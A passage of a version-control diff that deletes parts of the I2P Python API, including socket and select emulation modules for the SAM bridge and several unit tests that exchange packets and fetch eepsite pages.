||||
if addr == '': addr = i2p.socket.samaddr
|
||||
BaseSession.__init__(self, addr)
|
||||
self.buf = Deque() # FIFO of incoming packets.
|
||||
self.name = name
|
||||
|
||||
# Create raw session
|
||||
if name == '': name = 'TRANSIENT'
|
||||
self.term.send_message('SESSION CREATE STYLE=RAW DESTINATION=' +
|
||||
name + self._encode_kwargs(**kwargs))
|
||||
self.term.check_message(self.term.queue_get(self.qsession))
|
||||
|
||||
self._set_properties()
|
||||
|
||||
def _on_RAW_RECEIVED(self, **kwargs):
|
||||
"""Internal method, got RAW RECEIVED."""
|
||||
# Synchronized
|
||||
self.lock.acquire()
|
||||
try:
|
||||
self.buf.push_last((kwargs['DATA'], ''))
|
||||
finally: self.lock.release()
|
||||
|
||||
def send(self, s, dest):
|
||||
"""Send packet with contents s to given destination."""
|
||||
# Raise error if packet is too big
|
||||
if len(s) > i2p.socket.MAX_RAW:
|
||||
raise ValueError('packets must have length <= ' +
|
||||
str(i2p.socket.MAX_RAW) + ' bytes')
|
||||
self.term.send_message('RAW SEND DESTINATION=' + dest +
|
||||
' SIZE=' + str(len(s)) + '\n' + s)
|
||||
|
||||
def recv(self, timeout=None, peek=False):
|
||||
"""Identical to DatagramSocket.recv. The from address is an
|
||||
empty string."""
|
||||
if timeout != None: end = timer() + timeout
|
||||
while True:
|
||||
self.term.check()
|
||||
# Synchronized check and read until data available.
|
||||
self.lock.acquire()
|
||||
try:
|
||||
if len(self.buf) > 0:
|
||||
if peek:
|
||||
ans = self.buf.pop_first()
|
||||
self.buf.push_first(ans)
|
||||
return ans
|
||||
else:
|
||||
return self.buf.pop_first()
|
||||
finally: self.lock.release()
|
||||
if timeout != None and timer() >= end: break
|
||||
sleep()
|
||||
|
||||
# Handle timeout and blocking error
|
||||
if timeout == 0.0:
|
||||
raise i2p.socket.BlockError('command would have blocked')
|
||||
else:
|
||||
raise i2p.socket.Timeout('timed out')
|
||||
|
||||
def __len__(self):
|
||||
"""Number of packets in read buffer."""
|
||||
return len(self.buf)
|
||||
|
||||
|
||||
# -----------------------------------------------------
|
||||
# End of file
|
||||
# -----------------------------------------------------
|
@ -1,166 +0,0 @@
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# select.py: Emulation of Python select module.
|
||||
# -------------------------------------------------------------
|
||||
|
||||
"""
|
||||
I2P Python API - Emulation of Python select module.
|
||||
"""
|
||||
|
||||
import time
|
||||
|
||||
import i2p.socket
|
||||
from i2p.pylib import select as pyselect # Import Python select
|
||||
|
||||
# --------------------------------------------------
|
||||
# Poll and select
|
||||
# --------------------------------------------------
|
||||
|
||||
POLLIN = 1 # There is data to read
|
||||
POLLPRI = 1 # Same as POLLIN
|
||||
POLLOUT = 4 # Ready for output
|
||||
POLLERR = 8 # Wait for error condition
|
||||
POLLHUP = 16 # Not implemented
|
||||
POLLNVAL = 32 # Not implemented
|
||||
|
||||
class Poll:
|
||||
"""Class implementing poll interface. Works for Python sockets
|
||||
and SAM sockets."""
|
||||
def __init__(self):
|
||||
self.fds = {} # Maps _hash() -> (socket, mask)
|
||||
def _hash(self, fd):
|
||||
"""Get a unique number for each object."""
|
||||
if isinstance(fd, int):
|
||||
return fd # Use the fd itself if integer.
|
||||
else:
|
||||
return id(fd) # Use object address (no copies!)
|
||||
def register(self, fd, eventmask=POLLIN|POLLOUT|POLLERR):
|
||||
self.fds[self._hash(fd)] = (fd, eventmask)
|
||||
def unregister(self, fd):
|
||||
del self.fds[self._hash(fd)]
|
||||
def poll(self, timeout=None):
|
||||
readlist, writelist, errlist = [], [], []
|
||||
for F, mask in self.fds.values():
|
||||
if mask & POLLIN: readlist += [F]
|
||||
if mask & POLLOUT: writelist += [F]
|
||||
if mask & POLLERR: errlist += [F]
|
||||
(Rs, Ws, Es) = select(readlist, writelist, errlist,
|
||||
timeout=timeout)
|
||||
ans = []
|
||||
for R in Rs: ans.append((R, POLLIN))
|
||||
for W in Ws: ans.append((W, POLLOUT))
|
||||
for E in Es: ans.append((E, POLLERR))
|
||||
return ans
|
||||
|
||||
def poll():
|
||||
"""Returns a polling object. Works on SAM sockets and Python
|
||||
sockets. See select.poll() in the Python library for more
|
||||
information.
|
||||
|
||||
Polling flags specified in this module:
|
||||
- POLLIN
|
||||
- POLLOUT
|
||||
- POLLERR
|
||||
- POLLHUP
|
||||
- POLLNVAL
|
||||
- POLLPRI
|
||||
"""
|
||||
return Poll()
|
||||
|
||||
def _has_data(S):
|
||||
"""True if the given I2P socket has data waiting."""
|
||||
try:
|
||||
S.recv(1, i2p.socket.MSG_PEEK | i2p.socket.MSG_DONTWAIT)
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
def _noblock_select(readlist, writelist, errlist):
|
||||
"""Makes a single query of the given sockets, like
|
||||
select() with timeout 0.0."""
|
||||
Rans = []
|
||||
Wans = []
|
||||
Eans = []
|
||||
|
||||
# Check for read availability.
|
||||
for R in readlist:
|
||||
if isinstance(R, int) or hasattr(R, 'fileno'):
|
||||
# Python socket
|
||||
if len(pyselect.select([R], [], [], 0.0)[0]) > 0:
|
||||
Rans.append(R)
|
||||
else:
|
||||
# SAM Socket
|
||||
if _has_data(R):
|
||||
Rans.append(R)
|
||||
# if R.type == i2p.socket.SOCK_STREAM:
|
||||
# try:
|
||||
# R._verify_connected()
|
||||
# Rans.append(R)
|
||||
# except:
|
||||
# pass
|
||||
# else:
|
||||
# if len(R.sessobj) > 0: Rans.append(R)
|
||||
|
||||
# Check for write availability.
|
||||
for W in writelist:
|
||||
if isinstance(W, int) or hasattr(W, 'fileno'):
|
||||
# Python socket
|
||||
if len(pyselect.select([], [W], [], 0.0)[1]) > 0:
|
||||
Wans.append(W)
|
||||
else:
|
||||
# SAM Socket
|
||||
if W.type == i2p.socket.SOCK_STREAM:
|
||||
try:
|
||||
W._verify_connected()
|
||||
Wans.append(W)
|
||||
except:
|
||||
pass
|
||||
else:
|
||||
Wans.append(W)
|
||||
|
||||
# Check for error conditions.
|
||||
# These can only be stream errors.
|
||||
for E in errlist:
|
||||
if isinstance(E, int) or hasattr(E, 'fileno'):
|
||||
# Python socket
|
||||
if len(pyselect.select([], [], [E], 0.0)[2]) > 0:
|
||||
Eans.append(E)
|
||||
else:
|
||||
if E.type == i2p.socket.SOCK_STREAM:
|
||||
try:
|
||||
# FIXME: Use a ._get_error() function for errors.
|
||||
# Socket can only have an error if it connected.
|
||||
E._verify_connected()
|
||||
if E.sessobj.err != None:
|
||||
Eans.append(E)
|
||||
except:
|
||||
pass
|
||||
|
||||
return (Rans, Wans, Eans)
|
||||
|
||||
|
||||
def select(readlist, writelist, errlist, timeout=None):
|
||||
"""Performs a select call. Works on SAM sockets and Python
|
||||
sockets. See select.select() in the Python library for more
|
||||
information."""
|
||||
|
||||
if timeout != None: end = time.time() + timeout
|
||||
while True:
|
||||
# FIXME: Check performance.
|
||||
# Use pyselect.poll for Python sockets, if needed for speed.
|
||||
(Rans, Wans, Eans) = _noblock_select(readlist,writelist,errlist)
|
||||
|
||||
if timeout != None and time.time() >= end: break
|
||||
if len(Rans) != 0 or len(Wans) != 0 or len(Eans) != 0:
|
||||
# One or more sockets are ready.
|
||||
if timeout != 0.0:
|
||||
# Check again, because sockets may have changed state while
|
||||
# we did _noblock_select (it's safer to check twice, since
|
||||
# they usually go from no data => data ready, and so forth).
|
||||
(Rans, Wans, Eans) = _noblock_select(readlist, writelist,
|
||||
errlist)
|
||||
return (Rans, Wans, Eans)
|
||||
|
||||
time.sleep(0.01)
|
||||
|
||||
return (Rans, Wans, Eans)
|
@ -1,535 +0,0 @@
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# socket.py: Emulation of Python socket module.
|
||||
# -------------------------------------------------------------
|
||||
|
||||
"""
|
||||
Emulation of Python socket module using SAM.
|
||||
"""
|
||||
|
||||
import i2p
|
||||
|
||||
import samclasses, threading, time, copy, Queue, thread
|
||||
from i2p.pylib import socket as pysocket # Import Python socket
|
||||
from i2p.pylib import select as pyselect # Import Python select
|
||||
|
||||
# --------------------------------------------------
|
||||
# Global variables
|
||||
# --------------------------------------------------
|
||||
|
||||
# Ports
|
||||
samaddr = '127.0.0.1:7656' # Default port for SAM Bridge
|
||||
|
||||
# Flags for recv, recvfrom.
|
||||
MSG_PEEK = 2 # Peek at incoming message
|
||||
MSG_WAITALL = 64 # Wait for data or error
|
||||
MSG_DONTWAIT = 128 # Nonblocking
|
||||
|
||||
# Packet sizes
|
||||
MAX_DGRAM = 31744 # Max size of datagram packet
|
||||
MAX_RAW = 32768 # Max size of raw packet
|
||||
|
||||
# Socket types
|
||||
SOCK_STREAM = 1 # Stream socket
|
||||
SOCK_DGRAM = 2 # Datagram socket
|
||||
SOCK_RAW = 3 # Raw socket
|
||||
|
||||
# Miscellaneous
|
||||
samver = 1.0 # SAM version implemented
|
||||
|
||||
# --------------------------------------------------
|
||||
# Errors
|
||||
# --------------------------------------------------
|
||||
|
||||
class Error(i2p.Error):
|
||||
"""Base class for all SAM errors."""
|
||||
|
||||
class NetworkError(Error):
|
||||
"""Network error occurred within I2P.
|
||||
The error object is a 2-tuple: (errtag, errdesc).
|
||||
errtag is a SAM error string,
|
||||
errdesc is a human readable error description.
|
||||
"""
|
||||
|
||||
class ClosedError(Error):
|
||||
"""A command was used on a socket that closed gracefully."""
|
||||
|
||||
class BlockError(Error):
|
||||
"""Socket call would have blocked."""
|
||||
|
||||
class Timeout(Error):
|
||||
"""Time out occurred for a socket which had timeouts enabled
|
||||
via a prior call to settimeout()."""
|
||||
|
||||
# --------------------------------------------------
|
||||
# Sockets
|
||||
# --------------------------------------------------
|
||||
|
||||
# Note: socket(), __make_session() and Socket() should have same args
|
||||
def socket(session, type, samaddr=samaddr, **kwargs):
|
||||
r"""Create a new socket. Argument session should be a session
|
||||
name -- if the name has not yet been used, an I2P
|
||||
Destination will be created for it, otherwise, the
|
||||
existing Destination will be re-used. An empty session
|
||||
string causes a transient session to be created. Argument
|
||||
type is one of SOCK_STREAM, SOCK_DGRAM, or SOCK_RAW.
|
||||
|
||||
I2P configuration keyword arguments:
|
||||
|
||||
- in_depth - depth of incoming tunnel (default 2)
|
||||
- out_depth - depth of outgoing tunnel (default 2)
|
||||
|
||||
A single session may be shared by more than one socket, if
|
||||
the sockets are the same type, and if the sockets are
|
||||
created within the same Python process. The socket
|
||||
objects are multithread-safe.
|
||||
|
||||
Examples:
|
||||
>>> a = i2p.socket('Alice', i2p.SOCK_STREAM)
|
||||
>>> b = i2p.socket('Bob', i2p.SOCK_DGRAM,
|
||||
in_depth=2, out_depth=5)
|
||||
|
||||
The created object behaves identically to a socket from
|
||||
module socket, with the following exceptions:
|
||||
|
||||
- I2P Destinations are used as address arguments [1].
|
||||
- bind is a no-op: sockets are always bound.
|
||||
- send* methods send all data and are non-blocking.
|
||||
|
||||
A given session name can only be open in a single Python
|
||||
program at a time. If you need to overcome this
|
||||
limitation, consider patching I2P.
|
||||
|
||||
[1].
|
||||
Alternatively, a host name can be used as an address.
|
||||
It will be resolved using hosts.txt.
|
||||
|
||||
For details on how to use socket objects, see
|
||||
http://www.python.org/doc/current/lib/socket-objects.html
|
||||
|
||||
See the examples directory for code examples.
|
||||
"""
|
||||
|
||||
return Socket(session, type, samaddr, **kwargs)
|
||||
|
||||
|
||||
# --------------------------------------------------
|
||||
# Socket session objects
|
||||
# --------------------------------------------------
|
||||
|
||||
# Global list of session objects.
|
||||
_sessions = {}
|
||||
_session_lock = threading.Lock()
|
||||
|
||||
def _make_session(session, type, samaddr, **kwargs):
|
||||
"""Make a session object (eg samclasses.StreamSession). Same
|
||||
arguments as socket(). Return an existing session object
|
||||
if one has been previously created under the given name.
|
||||
"""
|
||||
# Synchronize
|
||||
_session_lock.acquire()
|
||||
try:
|
||||
if type == SOCK_STREAM: C = samclasses.StreamSession
|
||||
elif type == SOCK_DGRAM: C = samclasses.DatagramSession
|
||||
elif type == SOCK_RAW: C = samclasses.RawSession
|
||||
else: raise ValueError('bad socket type')
|
||||
# Get existing session, if available
|
||||
if session != '' and _sessions.has_key(session):
|
||||
if _sessions[session].__class__ != C:
|
||||
raise ValueError('session ' + repr(session) + ' was ' +
|
||||
'created with a different session type.')
|
||||
return _sessions[session]
|
||||
# Create new session
|
||||
if type == SOCK_STREAM: ans = C(session, samaddr, **kwargs)
|
||||
elif type == SOCK_DGRAM: ans = C(session, samaddr, **kwargs)
|
||||
elif type == SOCK_RAW: ans = C(session, samaddr, **kwargs)
|
||||
if session != '': _sessions[session] = ans
|
||||
return ans
|
||||
finally: _session_lock.release()
|
||||
|
||||
def _wrap_stream(stream, parent_socket):
|
||||
"""Wraps a Socket object around a samclasses.Stream object."""
|
||||
s = Socket('', 0, dummy_socket=True)
|
||||
s.sessobj = stream
|
||||
s.remotedest = stream.remotedest
|
||||
s.dest = parent_socket.dest
|
||||
s.session = parent_socket.session
|
||||
s.type = parent_socket.type
|
||||
s.timeout = None
|
||||
s.samaddr = parent_socket.samaddr
|
||||
s.closed = False
|
||||
return s
|
||||
|
||||
# --------------------------------------------------
|
||||
# Socket class
|
||||
# --------------------------------------------------
|
||||
|
||||
class Socket:
|
||||
"""A socket object."""
|
||||
|
||||
# Docstrings for pydoc. These variables will be overwritten.
|
||||
dest = property(doc='Local I2P Destination of socket')
|
||||
session = property(doc='Session name')
|
||||
type = property(doc='Socket type: SOCK_STREAM, SOCK_DGRAM,' +
|
||||
' or SOCK_RAW.')
|
||||
# FIXME: Use getsockopt to detect errors.
|
||||
|
||||
def __init__(self, session, type, samaddr=samaddr, **kwargs):
|
||||
"""Equivalent to socket()."""
|
||||
if kwargs.has_key('dummy_socket'): return
|
||||
self.sessobj = _make_session(session, type, samaddr, **kwargs)
|
||||
self.dest = self.sessobj.dest
|
||||
self.session = session
|
||||
self.type = type
|
||||
self.timeout = None # None indicates blocking mode
|
||||
self.samaddr = samaddr
|
||||
self.closed = False # Was current object closed?
|
||||
self.lock = threading.Lock()
|
||||
|
||||
def _verify_open(self):
|
||||
"""Verify that the socket has not been closed."""
|
||||
if self.closed == True:
|
||||
raise ClosedError('socket closed')
|
||||
|
||||
def _verify_stream(self):
|
||||
"""Raise an error if socket is not a SOCK_STREAM."""
|
||||
if self.type != SOCK_STREAM:
|
||||
raise i2p.Error('operation not supported')
|
||||
# FIXME: Check for errors also.
|
||||
|
||||
def _verify_connected(self, needs_to_be_connected=True):
|
||||
"""Raise an error if socket is not a connected stream socket."""
|
||||
self._verify_stream()
|
||||
if not hasattr(self.sessobj, 'remotedest'):
|
||||
raise i2p.Error('socket is not connected')
|
||||
if needs_to_be_connected and not self.sessobj.didconnect:
|
||||
raise i2p.Error('socket is in the process of connecting')
|
||||
# FIXME: Check for errors also.
|
||||
|
||||
def _verify_not_connected(self):
|
||||
"""Verify that the socket is not currently connected, and is not
|
||||
in the process of connecting."""
|
||||
self._verify_stream()
|
||||
if hasattr(self.sessobj, 'remotedest'):
|
||||
raise i2p.Error('socket is already connected')
|
||||
# FIXME: Check for errors also.
|
||||
|
||||
def accept(self):
|
||||
"""Accept an incoming connection. The socket must be type
|
||||
SOCK_STREAM, and listen() must be called prior to this
|
||||
command. The return value is (conn, remotedest), where
|
||||
conn is a new socket object made for the connection, and
|
||||
remotedest is the remote Destination from which the
|
||||
connection was made.
|
||||
|
||||
Example:
|
||||
|
||||
>>> from i2p import socket
|
||||
>>> s = socket.socket('Alice', socket.SOCK_STREAM)
|
||||
>>> s.listen(10)
|
||||
|
||||
This prepares the server. Now accept an incoming connection:
|
||||
|
||||
>>> c, remotedest = s.accept()
|
||||
>>> c.send('hello world!')
|
||||
|
||||
If accept() is called on a socket that is in non-blocking
|
||||
mode or has a timeout, i2p.socket.BlockError or
|
||||
i2p.socket.Timeout may be raised. This indicates that no
|
||||
incoming connection is currently available."""
|
||||
|
||||
self._verify_open()
|
||||
self._verify_not_connected()
|
||||
# Raises BlockError or Timeout if not ready.
|
||||
C = _wrap_stream(self.sessobj.accept(self.timeout), self)
|
||||
return (C, C.remotedest)
|
||||
|
||||
def bind(self, address):
|
||||
"""Does nothing. Provided for compatibility with the Python
|
||||
socket command bind(), which binds a server to a port."""
|
||||
self._verify_open()
|
||||
self._verify_not_connected()
|
||||
|
||||
def close(self):
|
||||
"""Closes the socket. It is an error to call any method
|
||||
other than recv() or recvfrom() on a closed socket.
|
||||
For streams, the receive methods return data that was
|
||||
received prior to the closing of the socket. For
|
||||
datagram and raw sockets, the receive methods cannot
|
||||
be used on a closed socket."""
|
||||
try:
|
||||
self._verify_connected()
|
||||
connected = True
|
||||
except i2p.Error:
|
||||
connected = False
|
||||
if connected:
|
||||
# Close the Stream object.
|
||||
self.sessobj.close()
|
||||
else:
|
||||
# Never close a session object.
|
||||
pass
|
||||
self.closed = True
|
||||
|
||||
def connect(self, address):
|
||||
"""
|
||||
Connect to a remote dest, identified in local SAM bridge's hosts
|
||||
file as host 'address'.
|
||||
|
||||
For example:
|
||||
>>> s.connect('duck.i2p')
|
||||
|
||||
Alternatively, you can use a full base64 Destination:
|
||||
|
||||
Example:
|
||||
>>> s.connect('238797sdfh2k34kjh....AAAA')
|
||||
|
||||
If connect() is called on a socket that is in non-blocking
|
||||
mode or has a timeout, i2p.socket.BlockError or
|
||||
i2p.socket.Timeout may be raised. This indicates that the
|
||||
connection is still being initiated. Use i2p.select.select()
|
||||
to determine when the connection is ready.
|
||||
"""
|
||||
# Synchronized. Lock prevents two connects from occurring at the
|
||||
# same time in different threads.
|
||||
self.lock.acquire()
|
||||
try:
|
||||
self._verify_open()
|
||||
if self.type == SOCK_DGRAM or self.type == SOCK_RAW:
|
||||
self.packet_dest = address
|
||||
return
|
||||
|
||||
self._verify_not_connected()
|
||||
|
||||
address = resolve(address, self.samaddr)
|
||||
|
||||
timeout = self.timeout
|
||||
unwrap = self.sessobj.connect(address, timeout=timeout)
|
||||
w = _wrap_stream(unwrap, self)
|
||||
self.sessobj = w.sessobj
|
||||
self.remotedest = w.remotedest
|
||||
|
||||
if self.sessobj.err != None:
|
||||
raise self.sessobj.err
|
||||
|
||||
# Raise error if not yet connected
|
||||
if not self.sessobj.didconnect:
|
||||
if timeout == 0.0:
|
||||
raise BlockError('command would have blocked. use ' +
|
||||
'i2p.select.select() to find when socket is connected')
|
||||
else: raise Timeout('timed out. use i2p.select.select()' +
|
||||
' to find when socket is connected')
|
||||
|
||||
finally: self.lock.release()
|
||||
|
||||
def connect_ex(self, address):
|
||||
"""Like connect(), but return any error that is raised.
|
||||
Returns None if no error is raised."""
|
||||
try: self.connect(address)
|
||||
except i2p.Error, e: return e
|
||||
|
||||
# Don't implement fileno(), as we don't have a real file handle.
|
||||
|
||||
def getpeername(self):
|
||||
"""Get the remote Destination associated with the socket.
|
||||
This is equivalent to s.remotedest, and is provided for
|
||||
compatibility with the Python socket module."""
|
||||
self._verify_connected()
|
||||
return self.remotedest
|
||||
|
||||
def getsockname(self):
|
||||
"""Get the local Destination associated with the socket.
|
||||
This is equivalent to s.dest, and is provided for
|
||||
compatibility with the Python socket module."""
|
||||
return self.dest
|
||||
|
||||
def listen(self, backlog):
|
||||
"""Listen for connections made to the socket.
|
||||
This method must be called before accept().
|
||||
The backlog argument specifies the maximum number of
|
||||
queued incoming connections."""
|
||||
self._verify_open()
|
||||
self._verify_not_connected()
|
||||
self.sessobj.listen(backlog)
|
||||
|
||||
def makefile(self, mode='r', bufsize=-1):
|
||||
"""Return a file object for the socket.
|
||||
See socket.makefile() in the Python documentation for
|
||||
more information."""
|
||||
self._verify_open()
|
||||
self._verify_connected()
|
||||
return pysocket._fileobject(self, mode, bufsize)
|
||||
|
||||
def recv(self, bufsize, flags=0):
|
||||
"""Receive string data from the socket.
|
||||
|
||||
The maximum amount of data to be received is given by
|
||||
bufsize. If bufsize is zero, this function returns
|
||||
an empty string immediately. If bufsize is nonzero,
|
||||
this function blocks until at least one character is
|
||||
available for reading. If the socket has been closed,
|
||||
an empty string is returned as an end of file indicator.
|
||||
|
||||
If recv() is called on a socket that is in non-blocking
|
||||
mode or has a timeout, i2p.socket.BlockError or
|
||||
i2p.socket.Timeout will be raised if data is not available
|
||||
within the given timeframe.
|
||||
|
||||
For a datagram or raw socket, the first bufsize characters
|
||||
of the packet are read, and the remainder of the packet is
|
||||
discarded. To read the entire packet, use bufsize = -1.
|
||||
|
||||
For datagram and raw sockets, the packet may originate from
|
||||
any Destination. Use recvfrom() with datagrams to determine
|
||||
the Destination from which the packet was received.
|
||||
|
||||
The flags argument can be a bitwise OR of MSG_PEEK,
|
||||
MSG_WAITALL, and/or MSG_DONTWAIT. MSG_PEEK indicates that
|
||||
any data read should not be removed from the socket's
|
||||
incoming buffer. MSG_WAITALL indicates to wait for exactly
|
||||
bufsize characters or an error. MSG_DONTWAIT indicates
|
||||
that the recv() command should not block execution.
|
||||
"""
|
||||
|
||||
# FIXME: What about recv'ing if connected in asynchronous mode?
|
||||
# It is acceptable to call recv() after a stream has closed
|
||||
# gracefully. It is an error to call recv() after a stream has
|
||||
# closed due to an I2P network error.
|
||||
timeout = self.timeout
|
||||
(peek, waitall, dontwait) = \
|
||||
(flags & MSG_PEEK, flags & MSG_WAITALL, flags & MSG_DONTWAIT)
|
||||
if dontwait: timeout = 0.0
|
||||
|
||||
if self.type == SOCK_STREAM:
|
||||
self._verify_connected()
|
||||
return self.sessobj.recv(bufsize, timeout, peek, waitall)
|
||||
else:
|
||||
return self.recvfrom(bufsize, flags)[0]
|
||||
|
||||
def recvfrom(self, bufsize, flags=0):
|
||||
"""Like recv(), but returns a tuple (data, remoteaddr), where
|
||||
data is the string data received, and remoteaddr is the
|
||||
remote Destination."""
|
||||
timeout = self.timeout
|
||||
(peek, waitall, dontwait) = \
|
||||
(flags & MSG_PEEK, flags & MSG_WAITALL, flags & MSG_DONTWAIT)
|
||||
if dontwait: timeout = 0.0
|
||||
|
||||
if self.type == SOCK_STREAM:
|
||||
self._verify_connected()
|
||||
if bufsize < 0: raise ValueError('bufsize must be >= 0 for streams')
|
||||
return (self.sessobj.recv(bufsize, timeout, peek, waitall), \
|
||||
self.remotedest)
|
||||
else:
|
||||
if bufsize < -1:
|
||||
raise ValueError('bufsize must be >= -1 for packets')
|
||||
(data, addr) = self.sessobj.recv(timeout, peek)
|
||||
if bufsize == -1:
|
||||
return (data, addr)
|
||||
else:
|
||||
return (data[:bufsize], addr)
|
||||
|
||||
def send(self, string, flags=0):
|
||||
"""Sends string data to a remote Destination.
|
||||
|
||||
For a stream, connect() must be called prior to send().
|
||||
Once close() is called, no further data can be sent, and
|
||||
the stream cannot be re-opened.
|
||||
|
||||
For datagram and raw sockets, connect() only specifies
|
||||
a Destination to which packets are sent to. send() will
|
||||
then send a packet to the given Destination. connect()
|
||||
can be used multiple times.
|
||||
|
||||
The send() command never blocks execution. The flags
|
||||
argument is ignored.
|
||||
"""
|
||||
|
||||
self._verify_open()
|
||||
if self.type == SOCK_DGRAM or self.type == SOCK_RAW:
|
||||
if not hasattr(self, 'packet_dest'):
|
||||
raise i2p.Error('use connect or sendto to specify a ' +
|
||||
'Destination')
|
||||
self.sendto(string, flags, self.packet_dest)
|
||||
return
|
||||
|
||||
self._verify_connected()
|
||||
if self.closed:
|
||||
raise i2p.Error('send operation on closed socket')
|
||||
# FIXME: What about send'ing if connected in asynchronous mode?
|
||||
self.sessobj.send(string)
|
||||
|
||||
def sendall(self, string, flags=0):
|
||||
"""Identical to send()."""
|
||||
self.send(string)
|
||||
|
||||
def sendto(self, string, flags, address):
|
||||
"""Send a packet to the given Destination.
|
||||
|
||||
Only valid for datagram and raw sockets. The address
|
||||
argument should be either a name from the hosts file,
|
||||
or a base64 Destination.
|
||||
|
||||
The sendto() command never blocks execution. The flags
|
||||
argument is ignored.
|
||||
"""
|
||||
|
||||
self._verify_open()
|
||||
if not self.type in [SOCK_DGRAM, SOCK_RAW]:
|
||||
raise i2p.Error('operation not supported')
|
||||
if self.closed:
|
||||
raise i2p.Error('sendto operation on closed socket')
|
||||
address = resolve(address, self.samaddr)
|
||||
self.sessobj.send(string, address)
|
||||
|
||||
def setblocking(self, flag):
|
||||
"""Set blocking or non-blocking mode for the socket.
|
||||
|
||||
If flag is True, any method called on the socket will
|
||||
hang until the method has completed. If flag is False,
|
||||
all methods will raise i2p.socket.BlockError() if they
|
||||
cannot complete instantly.
|
||||
|
||||
s.setblocking(False) is equivalent to s.settimeout(0);
|
||||
s.setblocking(True) is equivalent to s.settimeout(None).
|
||||
"""
|
||||
if flag: self.timeout = None
|
||||
else: self.timeout = 0.0
|
||||
|
||||
def settimeout(self, value):
|
||||
"""Set a timeout for the socket.
|
||||
|
||||
The value argument should be a timeout value in seconds,
|
||||
or None. None is equivalent to an infinite timeout.
|
||||
|
||||
A socket operation will raise a i2p.socket.Timeout if
|
||||
the operation cannot complete within in the specified
|
||||
time limit.
|
||||
"""
|
||||
self.timeout = value
|
||||
|
||||
def gettimeout(self):
|
||||
"""Get the timeout value."""
|
||||
return self.timeout
|
||||
|
||||
def __copy__(self):
|
||||
"""Returns the original object."""
|
||||
return self
|
||||
|
||||
def __deepcopy__(self, memo):
|
||||
"""Returns the original object."""
|
||||
return self
|
||||
|
||||
def resolve(host, samaddr=samaddr):
|
||||
"""Resolve I2P host name --> I2P Destination.
|
||||
Returns the same string if host is already a Destination."""
|
||||
if host.find('http://') == 0: host = host[len('http://'):]
|
||||
host = host.rstrip('/')
|
||||
if len(host) >= 256: return host
|
||||
S = samclasses.BaseSession(samaddr)
|
||||
ans = S._namelookup(host)
|
||||
S.close()
|
||||
return ans
|
||||
|
||||
# --------------------------------------------------
|
||||
# End of File
|
||||
# --------------------------------------------------
|
@ -1,6 +0,0 @@
|
||||
|
||||
Unit tests for I2P Python interface.
|
||||
|
||||
Note that these aren't all unit tests yet.
|
||||
|
||||
Some are demos, some require manual intervention.
|
@ -1,37 +0,0 @@
|
||||
|
||||
# -----------------------------------------------------
|
||||
# test_eep.py: Unit tests for eep.py.
|
||||
# -----------------------------------------------------
|
||||
|
||||
# Make sure we can import i2p
|
||||
import sys; sys.path += ['../../']
|
||||
|
||||
import traceback, sys
|
||||
from i2p import eep
|
||||
|
||||
def verify_html(s):
|
||||
"""Raise an error if s does not end with </html>"""
|
||||
assert s.strip().lower()[-7:] == '</html>'
|
||||
|
||||
def eepget_test():
|
||||
try:
|
||||
verify_html(eep.urlget('http://duck.i2p/index.html'))
|
||||
verify_html(eep.urlget('http://duck.i2p/'))
|
||||
verify_html(eep.urlget('http://duck.i2p'))
|
||||
verify_html(eep.urlget('duck.i2p/'))
|
||||
verify_html(eep.urlget('duck.i2p'))
|
||||
except Exception, e:
|
||||
print 'Unit test failed for eepget'
|
||||
print "Note that urllib2.urlopen uses IE's proxy settings " + \
|
||||
"in Windows."
|
||||
print "This may cause " + \
|
||||
"urllib2.urlopen('http://www.google.com/') to fail."
|
||||
traceback.print_exc(); sys.exit()
|
||||
print 'eepget: OK'
|
||||
|
||||
def test():
|
||||
eepget_test()
|
||||
|
||||
if __name__ == '__main__':
|
||||
print 'Testing:'
|
||||
test()
|
@ -1,433 +0,0 @@
|
||||
|
||||
# -----------------------------------------------------
|
||||
# test_samclasses.py: Unit tests for samclasses.py.
|
||||
# -----------------------------------------------------
|
||||
|
||||
# Make sure we can import i2p
|
||||
import sys; sys.path += ['../../']
|
||||
|
||||
import traceback, time, thread, threading, random
|
||||
from i2p import eep, socket, samclasses
|
||||
|
||||
def test_passed(s, msg='OK'):
|
||||
"""Notify user that the given unit test passed."""
|
||||
print ' ' + (s + ':').ljust(50) + msg
|
||||
|
||||
def verify_html(s):
|
||||
"""Raise an error if s does not end with </html>"""
|
||||
assert s.strip().lower()[-7:] == '</html>'
|
||||
|
||||
def raw_test1():
|
||||
"""Unit test for samclasses.RawSession."""
|
||||
|
||||
try:
|
||||
C = samclasses.RawSession('Carol')
|
||||
D = samclasses.RawSession('Dave')
|
||||
|
||||
C.send('Hello!', D.dest)
|
||||
D.send('Hi C!', C.dest)
|
||||
|
||||
(packet, addr) = C.recv(1000)
|
||||
assert packet == 'Hi C!'
|
||||
(packet, addr) = D.recv(1000)
|
||||
assert packet == 'Hello!'
|
||||
C.close()
|
||||
D.close()
|
||||
except:
|
||||
print 'Unit test failed for samclasses.RawSession'
|
||||
traceback.print_exc(); sys.exit()
|
||||
test_passed('samclasses.RawSession')
|
||||
|
||||
def datagram_test1():
|
||||
"""Unit test for samclasses.DatagramSession."""
|
||||
|
||||
try:
|
||||
C = samclasses.DatagramSession('Carol')
|
||||
D = samclasses.DatagramSession('Dave')
|
||||
|
||||
C.send('Hello!', D.dest)
|
||||
D.send('Hi C!', C.dest)
|
||||
|
||||
(packet, remotedest) = C.recv(1000)
|
||||
assert str(packet) == 'Hi C!' and remotedest == D.dest
|
||||
(packet, remotedest) = D.recv(1000)
|
||||
assert str(packet) == 'Hello!' and remotedest == C.dest
|
||||
C.close()
|
||||
D.close()
|
||||
except:
|
||||
print 'Unit test failed for samclasses.DatagramSession'
|
||||
traceback.print_exc(); sys.exit()
|
||||
test_passed('samclasses.DatagramSession')
|
||||
|
||||
def stream_readline(S):
|
||||
"""Read a line, with a \r\n newline, including trailing \r\n."""
|
||||
ans = []
|
||||
while True:
|
||||
c = S.recv(1)
|
||||
if c == '': break
|
||||
if c == '\n': break
|
||||
ans += [c]
|
||||
return ''.join(ans)
|
||||
|
||||
def stream_http_get(S, dest):
|
||||
"""Get contents of http://dest/ via HTTP/1.0 and
|
||||
samclasses.StreamSession S."""
|
||||
C = S.connect(dest)
|
||||
|
||||
C.send('GET / HTTP/1.0\r\n\r\n')
|
||||
|
||||
while True:
|
||||
line = stream_readline(C).strip()
|
||||
if line.find('Content-Length: ') == 0:
|
||||
clen = int(line.split()[1])
|
